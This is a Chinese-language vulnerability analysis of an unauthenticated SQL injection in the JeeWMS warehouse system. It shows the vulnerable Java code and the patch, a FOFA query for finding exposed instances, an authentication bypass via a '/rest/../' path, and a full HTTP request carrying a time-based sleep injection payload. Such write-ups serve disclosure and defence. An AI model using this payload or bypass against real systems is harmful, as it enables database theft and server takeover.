漏洞简介
JeeWMS 是基于Java全栈技术打造的智能仓储中枢系统,具备多形态仓储场景深度适配能力(兼容3PL第三方物流与厂内物流双模式)。JeeWMS cgAutoListController.do 接口处存在SQL注入漏洞,未经身份验证的恶意攻击者利用SQL注入漏洞获取数据库中的信息(例如管理员后台密码、站点用户个人信息)之外,攻击者甚至可以在高权限下向服务器写入命令,进一步获取服务器系统权限。
影响版本
低于 20250422 版本
fofa语法
body="url:userController.do?userOrgSelect&userId=" && "loginController.do?changeDefaultOrg"
漏洞分析
直接看 src/main/java/org/jeecgframework/web/cgform/service/impl/autolist/CgTableServiceImpl.java diff 修复前后差异

可以很明显看到修复之前的是直接将 sort 与 order 两个参数直接拼接到sql语句中
@Override
public List<Map<String, Object>> querySingle(String table, String field, Map params,
String sort, String order, int page, int rows) {
StringBuilder sqlB = new StringBuilder();
dealQuerySql(table,field,params,sqlB);
if(!StringUtil.isEmpty(sort)&& !StringUtil.isEmpty(order)){
sqlB.append(" ORDER BY "+sort+" "+ order);
}
List<Map<String, Object>> result = commonService.findForJdbcParam(sqlB
.toString(), page, rows);
return result;
}
造成sql注入漏洞,而修复后的增加了sanitizeSort 方法对传入的 sort 使用正则进行检查,如果 sort 不满足正则 [a-zA-Z0-9_]+ 则直接返回 null ,而 sanitizeOrder 方法则检查 order 只能是 ASC 或者 DESC ,避免了SQL注入。
而 此方法的使用有三处地点,如下图所示

其中最后的 ExcelTempletController 不存在 sort 与 order 的调用,为固定的 null ,只有 src/main/java/org/jeecgframework/web/cgform/controller/autolist/CgAutoListController.java 有如下调用
if(isTree && treeId !=null) {
//防止下级数据太大,最大只取500条
result=cgTableService.querySingle(table, field.toString(), params,sort,order, 1, 500);
}else {
result=cgTableService.querySingle(table, field.toString(), params,sort,order, p,r );
}
因此根据 JeeWMS 框架的特点,访问URL也就是: /jeewms/cgAutoListController.do (注意 jeewms 不一定存在),结合前面的权限绕过分析文章,也可以是 /jeewms/rest/../cgAutoListController.do
漏洞复现
POST /jeewms/rest/../cgAutoListController.do?datagrid&configId=ba_del_mode&field=id,create_name,create_by,create_date,update_name,update_by,update_date,sys_org_code,sys_company_code,del_mode_code,del_mode_name, HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 160
Accept: application/json, text/javascript, /; q=0.01
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://localhost:8081
Referer: http://localhost:8081/jeewms/cgAutoListController.do?list&id=ba_del_mode&clickFunctionId=8a7ba3345d93bb87015d95e0118500af
Sec-Ch-Ua: "Chromium";v="137", "Not/A)Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
del_mode_code=&order=desc%2C%28select%2Afrom%28select%2Bsleep%285%29union%2F%2A%2A%2Fselect%2B1%29a%29&page=1&rows=10&searchfield=del_mode_code&sort=create_date

成功延时 5 秒
参考
https://gitee.com/erzhongxmu/JEEWMS/issues/IC2IV4

